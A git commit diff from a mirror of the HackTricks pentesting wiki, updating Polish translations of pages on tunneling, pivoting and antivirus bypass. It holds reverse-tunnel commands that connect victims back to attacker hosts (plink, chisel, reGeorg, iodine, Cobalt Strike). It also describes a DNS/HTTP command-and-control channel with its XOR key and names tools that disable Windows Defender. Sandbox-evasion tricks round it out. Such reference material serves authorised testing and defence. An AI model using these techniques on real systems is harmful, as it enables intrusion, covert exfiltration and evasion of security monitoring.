mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
ba4b51baaf
commit
832e77fa25
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Nmap tip
|
||||
## Wskazówka Nmap
|
||||
|
||||
> [!WARNING]
|
||||
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)**
|
||||
> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
||||
> Atak downgrade Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config` przed poleganiem na tunelach SSH.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
||||
Na przykład, przekazywanie całego ruchu kierowanego do 10.10.10.0/24
|
||||
Na przykład, przekazywanie całego ruchu do 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
|
||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego host:port
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -163,7 +163,7 @@ Aby zauważyć:
|
||||
### rPort2Port lokalnie
|
||||
|
||||
> [!WARNING]
|
||||
> W tym przypadku **port jest otwierany w hoście beacona**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
> W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -172,14 +172,14 @@ rportfwd_local stop [bind port]
|
||||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Musisz przesłać plik webowy tunel: ashx|aspx|js|jsp|php|php|jsp
|
||||
Musisz przesłać plik tunelowy: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Chisel
|
||||
|
||||
Możesz go pobrać z strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Musisz użyć **tej samej wersji dla klienta i serwera**
|
||||
Możesz go pobrać ze strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Musisz używać **tej samej wersji dla klienta i serwera**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -231,7 +231,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
||||
# Display the currently running listeners on the agent -- Attacker
|
||||
listener_list
|
||||
```
|
||||
### Uzyskiwanie dostępu do lokalnych portów agenta
|
||||
### Uzyskaj dostęp do lokalnych portów agenta
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
||||
@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
|
||||
Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -358,9 +358,9 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`:
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarny plik `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -368,13 +368,13 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.**
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxy'owania ruchu przez ten port.**
|
||||
|
||||
## Proxyzowanie aplikacji GUI w Windows
|
||||
## Proxify aplikacje GUI Windows
|
||||
|
||||
Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować.
|
||||
Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy, używając [**Proxifier**](https://www.proxifier.com/).\
|
||||
W **Profile -> Proxy Servers** dodaj IP i port serwera SOCKS.\
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxy'owania oraz połączenia do IP, które chcesz proxy'ować.
|
||||
|
||||
## Ominięcie proxy NTLM
|
||||
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać narzędzia według własnego wyboru przez ten port.\
|
||||
Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać wybranego narzędzia przez ten port.\
|
||||
Na przykład, aby przekazać port 443
|
||||
```
|
||||
Username Alice
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
|
||||
## YARP
|
||||
@ -409,7 +409,7 @@ Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https:/
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i przesyłać dane między nimi za pomocą zapytań DNS.
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą zapytań DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -446,12 +446,46 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Zmień DNS w proxychains
|
||||
|
||||
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**.
|
||||
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnym serwerem DNS, który używa proxychains, jest 4.2.2.2 (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w środowisku Windows, możesz ustawić adres IP kontrolera domeny.
|
||||
|
||||
## Tunelowanie w Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
### Niestandardowy DNS TXT / HTTP JSON C2 (AK47C2)
|
||||
|
||||
Aktorka Storm-2603 stworzyła **dual-channel C2 ("AK47C2")**, który wykorzystuje *tylko* wychodzący **DNS** i **zwykły HTTP POST** – dwa protokoły, które rzadko są blokowane w sieciach korporacyjnych.
|
||||
|
||||
1. **Tryb DNS (AK47DNS)**
|
||||
• Generuje losowy 5-znakowy SessionID (np. `H4T14`).
|
||||
• Dodaje `1` dla *żądań zadań* lub `2` dla *wyników* i konkatenacja różnych pól (flagi, SessionID, nazwa komputera).
|
||||
• Każde pole jest **szyfrowane XOR z kluczem ASCII `VHBD@H`**, kodowane w hex i łączone kropkami – kończąc na domenie kontrolowanej przez atakującego:
|
||||
|
||||
```text
|
||||
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
|
||||
```
|
||||
|
||||
• Żądania używają `DnsQuery()` dla rekordów **TXT** (i zapasowych **MG**).
|
||||
• Gdy odpowiedź przekracza 0xFF bajtów, backdoor **fragmentuje** dane na kawałki po 63 bajty i wstawia znaczniki:
|
||||
`s<SessionID>t<TOTAL>p<POS>`, aby serwer C2 mógł je uporządkować.
|
||||
|
||||
2. **Tryb HTTP (AK47HTTP)**
|
||||
• Buduje kopertę JSON:
|
||||
```json
|
||||
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
|
||||
```
|
||||
• Cały blob jest XOR-`VHBD@H` → hex → wysyłany jako ciało **`POST /`** z nagłówkiem `Content-Type: text/plain`.
|
||||
• Odpowiedź podąża za tym samym kodowaniem, a pole `cmd` jest wykonywane z `cmd.exe /c <command> 2>&1`.
|
||||
|
||||
Notatki Blue Team
|
||||
• Szukaj nietypowych **zapytaniach TXT**, których pierwszy etykieta jest długim heksadecymalnym i zawsze kończy się na jednej rzadkiej domenie.
|
||||
• Stały klucz XOR, po którym następuje ASCII-hex, jest łatwy do wykrycia za pomocą YARA: `6?56484244?484` (`VHBD@H` w hex).
|
||||
• Dla HTTP, oznaczaj ciała POST typu text/plain, które są czystym hexem i wielokrotnością dwóch bajtów.
|
||||
|
||||
{{#note}}
|
||||
Cały kanał mieści się w **standardowych zapytaniach zgodnych z RFC** i utrzymuje każdą etykietę subdomeny poniżej 63 bajtów, co czyni go niewidocznym w większości logów DNS.
|
||||
{{#endnote}}
|
||||
|
||||
## Tunelowanie ICMP
|
||||
|
||||
### Hans
|
||||
@ -459,7 +493,7 @@ Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą żądań echo ICMP.
|
||||
Root jest potrzebny w obu systemach, aby stworzyć adaptery tunelowe i tunelować dane między nimi za pomocą żądań echo ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -561,7 +595,7 @@ cloudflared tunnel --url http://localhost:8080
|
||||
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
||||
# Now configure proxychains to use 127.0.0.1:1080
|
||||
```
|
||||
### Trwałe tunelowanie z DNS
|
||||
### Trwałe tunelowanie z użyciem DNS
|
||||
```bash
|
||||
cloudflared tunnel create mytunnel
|
||||
cloudflared tunnel route dns mytunnel internal.example.com
|
||||
@ -599,7 +633,7 @@ localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Używanie nowej bramy SSH (bez binarki frpc)
|
||||
### Używanie nowego bramy SSH (bez binarnego frpc)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
@ -660,7 +694,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
|
||||
• Alarmuj na **nieoczekiwane binaria QEMU/VirtualBox/KVM** w ścieżkach zapisywalnych przez użytkownika.
|
||||
• Blokuj połączenia wychodzące, które pochodzą z `qemu-system*.exe`.
|
||||
• Szukaj rzadkich portów nasłuchujących (2222, 10022, …) wiążących się natychmiast po uruchomieniu QEMU.
|
||||
• Poluj na rzadkie porty nasłuchujące (2222, 10022, …) wiążące się natychmiast po uruchomieniu QEMU.
|
||||
|
||||
---
|
||||
|
||||
@ -672,5 +706,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
## Odniesienia
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,16 +1,22 @@
|
||||
# Antivirus (AV) Bypass
|
||||
# Bypass Antywirusów (AV)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Ta strona została napisana przez** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Zatrzymaj Defendera
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Narzędzie do zatrzymywania działania Windows Defendera.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Narzędzie do zatrzymywania działania Windows Defendera, udając inny AV.
|
||||
- [Wyłącz Defendera, jeśli jesteś administratorem](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **Metodologia unikania AV**
|
||||
|
||||
Obecnie programy AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak wykrywanie statyczne, analiza dynamiczna oraz, w przypadku bardziej zaawansowanych EDR, analiza behawioralna.
|
||||
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, wykrywania statycznego, analizy dynamicznej, a dla bardziej zaawansowanych EDR-ów, analizy behawioralnej.
|
||||
|
||||
### **Wykrywanie statyczne**
|
||||
|
||||
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także poprzez wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
|
||||
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
|
||||
|
||||
- **Szyfrowanie**
|
||||
|
||||
@ -18,26 +24,26 @@ Jeśli zaszyfrujesz plik binarny, nie będzie możliwości wykrycia twojego prog
|
||||
|
||||
- **Obfuskacja**
|
||||
|
||||
Czasami wystarczy zmienić kilka ciągów w twoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
|
||||
Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
|
||||
|
||||
- **Niestandardowe narzędzia**
|
||||
|
||||
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
|
||||
|
||||
> [!NOTE]
|
||||
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
|
||||
> [!TIP]
|
||||
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defendera jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
|
||||
|
||||
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
|
||||
|
||||
### **Analiza dynamiczna**
|
||||
|
||||
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidump na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
|
||||
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
|
||||
|
||||
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. Programy AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
||||
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
|
||||
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
|
||||
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz celować w użytkownika, którego stacja robocza jest podłączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
|
||||
|
||||
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
|
||||
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defendera to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -47,16 +53,16 @@ Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariu
|
||||
|
||||
Jak już wcześniej wspomniano w tym poście, **publiczne narzędzia** ostatecznie **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
|
||||
|
||||
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy możesz użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
|
||||
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
|
||||
|
||||
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
|
||||
|
||||
> [!NOTE]
|
||||
> Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, a proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||
> [!TIP]
|
||||
> Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
|
||||
|
||||
## EXE vs DLL
|
||||
|
||||
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania**, z mojego doświadczenia pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchamiania jako DLL, oczywiście).
|
||||
Kiedy to możliwe, zawsze **priorytetuj używanie DLL do unikania**, z mojego doświadczenia, pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchamiania jako DLL, oczywiście).
|
||||
|
||||
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
|
||||
|
||||
@ -104,8 +110,8 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Zalecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
|
||||
> [!TIP]
|
||||
> **Zdecydowanie polecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -120,12 +126,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
```
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Unikanie wykrycia to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania wykrycia.
|
||||
> [!TIP]
|
||||
> Unikanie to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania.
|
||||
|
||||
## AMSI (Interfejs Skanowania Antywirusowego)
|
||||
|
||||
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo, programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się jakoś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
|
||||
